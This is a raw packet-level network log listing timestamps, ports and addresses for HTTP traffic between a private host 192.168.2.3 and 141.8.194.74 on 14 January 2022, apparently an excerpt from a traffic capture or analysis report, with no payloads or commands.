Jan 14, 2022 01:51:45.877552032 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.877564907 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.877614975 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.877619028 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.877681971 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.877744913 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.877803087 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.877825022 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.877887964 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.877901077 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.877964973 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.878026962 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.878087044 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.878107071 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.878150940 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.878155947 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.878211975 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.878272057 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.878331900 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.878349066 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.878392935 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.878407001 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.878453970 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.878513098 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.878570080 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.878622055 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.878670931 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.878679991 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.878735065 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.878740072 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.878755093 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.878803015 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.878863096 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.878923893 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.878931999 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.878983021 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.878984928 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.879043102 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.879106045 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.879163027 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.879165888 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.879220963 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.879226923 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.879288912 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.879348040 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.879409075 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.879410028 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.879463911 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.879492044 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.879550934 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.879612923 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.879671097 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.879672050 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.879730940 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.879733086 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.879792929 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.879853010 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.879910946 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.879911900 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.879966021 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.879975080 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.880032063 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.880094051 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.880151033 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.880152941 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.880203962 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.880214930 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.880278111 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.880338907 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.880399942 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.880399942 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.880455017 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.880464077 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.880523920 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.880584955 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.880646944 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.880647898 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.880703926 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.880707979 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.880772114 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.880831003 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.880888939 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.880892038 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.880947113 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.880954981 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.881014109 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.881076097 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.881138086 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.881138086 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.881191969 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.881197929 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.881258011 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.881316900 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.881375074 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.881377935 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.881428003 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.881438971 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.881498098 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.881560087 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.881617069 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.881617069 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.881669998 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.881678104 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.881741047 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.881799936 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.881860971 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.881897926 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.881953001 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.881953955 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.882009983 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.882210016 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.918279886 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.918358088 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.918422937 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.918489933 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.918530941 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.918550014 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.918567896 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.918616056 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.918679953 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.918740988 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.918746948 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.918801069 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.918803930 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.918868065 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.918926954 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.918987989 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.918992996 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.919049978 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.919068098 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.919106960 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.919159889 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.919209003 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.919219017 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.919266939 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.919270039 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.919322968 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.919373035 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.919420004 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.955650091 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.955705881 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.955746889 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.955785990 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.955823898 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.955863953 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.955904007 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.955940962 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.955982924 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.956042051 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.956048965 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.956053972 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.956275940 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.996418953 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.996484041 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.996522903 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.996562004 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.996599913 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.996604919 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.996639013 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.996640921 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.996684074 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.996704102 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.996722937 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.996736050 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.996762991 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.996802092 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.996839046 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.996857882 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.996879101 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.996889114 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.996918917 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.996958017 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.996998072 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.997013092 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.997034073 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.997046947 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.997075081 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.997112036 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.997149944 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.997165918 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.997188091 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.997201920 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.997227907 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.997267008 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.997304916 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.997319937 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.997342110 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.997354984 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.997380972 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.997421980 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.997458935 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.997498035 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.997498035 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.997512102 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.997536898 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.997575998 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.997615099 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.997628927 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.997652054 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.997667074 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.997690916 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.997729063 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.997765064 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.997782946 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.997806072 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.997821093 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.029932022 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.030168056 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.074812889 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.074882030 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.074923992 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.074965000 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.074973106 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.075007915 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.075020075 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.075048923 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.075087070 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.075092077 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.075134993 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.075186014 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.075186968 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.075226068 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.075268030 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.075283051 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.075308084 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.075328112 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.075350046 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.075388908 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.075449944 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.075463057 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.075505972 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.075542927 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.075565100 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.075582027 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.075604916 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.075620890 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.075658083 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.075695992 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.075716972 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.075735092 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.075752020 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.075774908 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.075815916 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.075851917 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.075870991 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.075891018 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.075907946 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.075932980 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.075970888 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.076009989 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.076025009 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.076049089 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.076062918 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.076088905 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.076128960 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.076165915 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.076204062 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.076205015 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.076231956 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.076242924 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.076281071 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.076297998 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.076318979 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.076358080 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.076425076 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.076464891 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.076509953 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.076528072 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.076550007 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.076591015 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.076608896 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.076627970 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.076668978 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.076708078 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.076725960 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.076745987 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.076766014 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.153896093 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.153979063 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.154011011 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.154042959 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.154084921 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.154123068 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.154165030 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.154166937 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.154202938 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.154205084 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.154210091 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.154269934 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.154309034 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.154345989 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.154386044 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.154386997 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.154424906 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.154442072 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.154464960 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.154489040 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.154506922 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.154544115 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.154582024 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.154604912 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.154623032 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.154643059 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.154659986 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.154700041 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.154737949 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.154758930 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.154774904 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.154800892 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.154814005 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.154851913 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.154891014 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.154921055 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.154932022 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.154954910 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.154973984 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.155014992 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.155052900 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.155076027 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.155088902 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.155106068 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.155128956 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.155167103 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.155205965 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.155221939 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.155246973 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.155265093 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.155284882 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.155323982 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.155363083 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.155388117 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.155426979 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.155432940 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.155476093 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.155514002 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.155539989 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.155550003 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.155590057 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.155627012 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.155648947 CET	49861	80	192.168.2.3	141.8.194.74
